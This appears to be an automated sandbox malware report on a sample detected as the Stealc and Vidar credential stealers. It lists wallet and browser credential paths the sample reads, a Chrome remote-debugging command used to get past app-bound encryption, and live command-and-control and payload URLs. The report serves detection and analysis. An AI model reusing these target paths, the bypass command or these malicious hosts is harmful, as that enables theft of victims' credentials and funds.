Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000001.00000003.1271943212.0000000005570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1729321166.000000000144E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1727423799.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0A0D60 sqlite3_bind_parameter_name,	1_2_6D0A0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0A0C40 sqlite3_bind_zeroblob,	1_2_6D0A0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC8EA0 sqlite3_clear_bindings,	1_2_6CFC8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0A0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	1_2_6D0A0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC6410 bind,WSAGetLastError,	1_2_6CFC6410
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC60B0 listen,WSAGetLastError,	1_2_6CFC60B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC6070 PR_Listen,	1_2_6CFC6070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFCC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	1_2_6CFCC050
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFCC030 sqlite3_bind_parameter_count,	1_2_6CFCC030
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF522D0 sqlite3_bind_blob,	1_2_6CF522D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC63C0 PR_Bind,	1_2_6CFC63C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC94F0 sqlite3_bind_text16,	1_2_6CFC94F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC94C0 sqlite3_bind_text,	1_2_6CFC94C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC9480 sqlite3_bind_null,	1_2_6CFC9480
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFC9400 sqlite3_bind_int64,	1_2_6CFC9400
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_003BEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,	34_2_003BEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_003BDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,	34_2_003BDF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	238 System Information Discovery	Distributed Component Object Model	Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	751 Security Software Discovery	VNC	GUI Input Capture	114 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	37%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\oi[1].exe	24%	ReversingLabs	Win32.Trojan.Ramses
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	42%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	42%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	24%	ReversingLabs	Win32.Trojan.Ramses
C:\Users\user\AppData\Local\exploma.exe.exe	42%	ReversingLabs	Win64.Trojan.Amadey

Source	Detection	Scanner	Label
https://msn.comXIDv10R	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe%	100%	Avira URL Cloud	phishing
https://dev-marcepan.grupa-abs.pl/TWq	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/softokn3.dllO1	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe7	100%	Avira URL Cloud	phishing
http://147.45.47.61/uu	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php=C	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe;	100%	Avira URL Cloud	phishing
https://dev-marcepan.grupa-abs.pl/	0%	Avira URL Cloud	safe
http://31.41.244.11/	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/random.exe.46	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/mozglue.dll2	100%	Avira URL Cloud	malware
http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/l	0%	Avira URL Cloud	safe
http://147.45.47.61:8888/6621357ed8034a07b39d14	0%	Avira URL Cloud	safe
https://dev-marcepan.grupa-abs.pl/0W	0%	Avira URL Cloud	safe
http://31.41.244.11//Zu7JuNko/index.php	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/random.exe131	100%	Avira URL Cloud	phishing
http://185.215.113.16/mine/random.exeI0	100%	Avira URL Cloud	phishing
http://31.41.244.11/215.113.43/Zu7JuNko/index.php	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.php)	100%	Avira URL Cloud	malware
http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/A	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpH	100%	Avira URL Cloud	malware
http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/freebl3.dllZ)E	100%	Avira URL Cloud	malware
http://185.215.113.206rontdesk	0%	Avira URL Cloud	safe
http://185.215.113.206s	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe	100%	Avira URL Cloud	phishing
http://147.45.47.61:8888/662135	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpT	100%	Avira URL Cloud	malware
https://marcepdev-marcepan.grupa-abs.pl/oi.exen	0%	Avira URL Cloud	safe
https://dev-marcepan.grupa-abs.pl/emp	0%	Avira URL Cloud	safe
http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/573ef1	0%	Avira URL Cloud	safe
http://147.45.47.61/	0%	Avira URL Cloud	safe
http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/zkT-	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	142.250.185.78	true	false	high
play.google.com	142.250.185.206	true	false	high
dev-marcepan.grupa-abs.pl	212.87.244.196	true	false	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.65.39.56	true	false	high
www.google.com	172.217.18.4	true	false	high
ip-api.com	208.95.112.1	true	false	high
googlehosted.l.googleusercontent.com	142.250.186.97	true	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
ZByrsnSvAcGEaDRNGjI.ZByrsnSvAcGEaDRNGjI	unknown	unknown	true	unknown
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false		high
http://185.215.113.206/	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731511551958&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false		high
